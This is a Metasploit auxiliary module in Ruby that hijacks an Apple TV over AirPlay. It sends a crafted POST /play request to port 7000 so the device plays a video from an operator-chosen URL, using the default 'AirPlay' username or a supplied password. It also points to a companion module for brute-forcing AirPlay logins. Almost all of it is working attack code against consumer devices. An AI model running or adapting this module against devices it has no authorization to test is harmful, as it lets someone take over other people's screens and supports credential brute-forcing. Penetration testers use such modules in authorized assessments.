Apple TV Video Remote Control

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'uri'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple TV Video Remote Control',
      'Description'    => %q(
        This module plays a video on an AppleTV device. Note that
        AppleTV can be somewhat picky about the server that hosts the video.
        Tested servers include default IIS, default Apache, and Ruby's WEBrick.
        For WEBrick, the default MIME list may need to be updated, depending on
        what media file is to be played. Python SimpleHTTPServer is not
        recommended. Also, if you're playing a video, the URL must be an IP
        address. Some AppleTV devices are actually password-protected; in that
        case please set the PASSWORD datastore option. For password
        brute forcing, please see the module auxiliary/scanner/http/appletv_login.
      ),
      'Author'         =>
        [
          '0a29406d9794e4f9b30b3c5d6702c708', # Original work
          'sinn3r'                            # Make myself liable to mistakes since I made significant changes
        ],
      'References'     =>
        [
          ['URL', 'http://nto.github.io/AirPlay.html']
        ],
      'DefaultOptions' => { 'HttpUsername' => 'AirPlay' },
      'License'        => MSF_LICENSE
    ))

    register_options([
      Opt::RPORT(7000),
      OptInt.new('TIME', [true, 'Time in seconds to show the video', 60]),
      OptString.new('URL', [true, 'URL of video to show. Must use an IP address']),
      OptString.new('HttpPassword', [false, 'The password for AppleTV AirPlay'])
    ])

    # We're not actually using any of these against AppleTV in our Rex HTTP client init,
    # so deregister them so we don't overwhelm the user with fake options.
    deregister_options(
      'HTTP::uri_encode_mode', 'HTTP::uri_full_url', 'HTTP::pad_method_uri_count',
      'HTTP::pad_uri_version_count', 'HTTP::pad_method_uri_type', 'HTTP::pad_uri_version_type',
      'HTTP::method_random_valid', 'HTTP::method_random_invalid', 'HTTP::method_random_case',
      'HTTP::uri_dir_self_reference', 'HTTP::uri_dir_fake_relative', 'HTTP::uri_use_backslashes',
      'HTTP::pad_fake_headers', 'HTTP::pad_fake_headers_count', 'HTTP::pad_get_params',
      'HTTP::pad_get_params_count', 'HTTP::pad_post_params', 'HTTP::pad_post_params_count',
      'HTTP::uri_fake_end', 'HTTP::uri_fake_params_start', 'HTTP::header_folding',
      'NTLM::UseNTLM2_session', 'NTLM::UseNTLMv2', 'NTLM::SendLM', 'NTLM::SendNTLM',
      'NTLM::SendSPN', 'NTLM::UseLMKey', 'DOMAIN', 'DigestAuthIIS', 'VHOST'
    )
  end


  #
  # Sends a video request to AppleTV. HttpClient isn't used because we actually need to keep
  # the connection alive so that the video can keep playing.
  #
  def send_video_request(opts)
    http = nil

    http = Rex::Proto::Http::Client.new(
      rhost,
      rport.to_i,
      {
        'Msf' => framework,
        'MsfExploit' => self
      },
      ssl,
      ssl_version,
      proxies,
      datastore['HttpUsername'],
      datastore['HttpPassword']
    )
    add_socket(http)

    http.set_config('agent' => datastore['UserAgent'])

    req = http.request_raw(opts)
    res = http.send_recv(req)
    Rex.sleep(datastore['TIME']) if res.code == 200
    http.close

    res
  end


  #
  # Checks the URI datastore option. AppleTV is sort of picky about the URI. It's better to
  # always supply an IP instead of a domain.
  #
  def validate_source!(uri)
    unless Rex::Socket.is_ipv4?(URI(uri).host) # Same trick in target_uri form HttpClient
      raise Msf::OptionValidateError.new(['URL'])
    end
  end


  #
  # Plays a video as a new thread
  #
  def play_video_uri
    uri = datastore['URL']
    validate_source!(uri)

    body  = "Content-Location: #{uri}\n"
    body << "Start-Position: 0.0\n"

    opts = {
      'method'  => 'POST',
      'uri'     => '/play',
      'headers' => {
        'Content-Length' => body.length.to_s,
        'Content-Type'   => 'text/parameters'
      },
      'data'    => body
    }

    res = send_video_request(opts)

    if !res
      print_status("The connection timed out")
    elsif res.code == 200
      print_status("Received HTTP 200")
    else
      print_error("The request failed due to an unknown reason")
    end
  end


  #
  # Maybe it's just me not understanding the /stop API correctly, but when I send a request to
  # /stop, it doesn't actually do anything. It is sort of possible to stop my video by looking
  # through framework.threads.each {|t| puts t[:tm_name]}, and then kill the right thread. But
  # if there are multiple appletv_display_video running, we don't seem to have a good way to
  # kill the right thread we want. We could kill them all, but we shouldn't do that. So I'll
  # just leave this method here, and then we'll think about how to do it later.
  #
  def stop_play
    raise NotImplementedError
  end


  def run
    print_status("Video request sent. Duration set: #{datastore['TIME']} seconds")
    play_video_uri
  end
end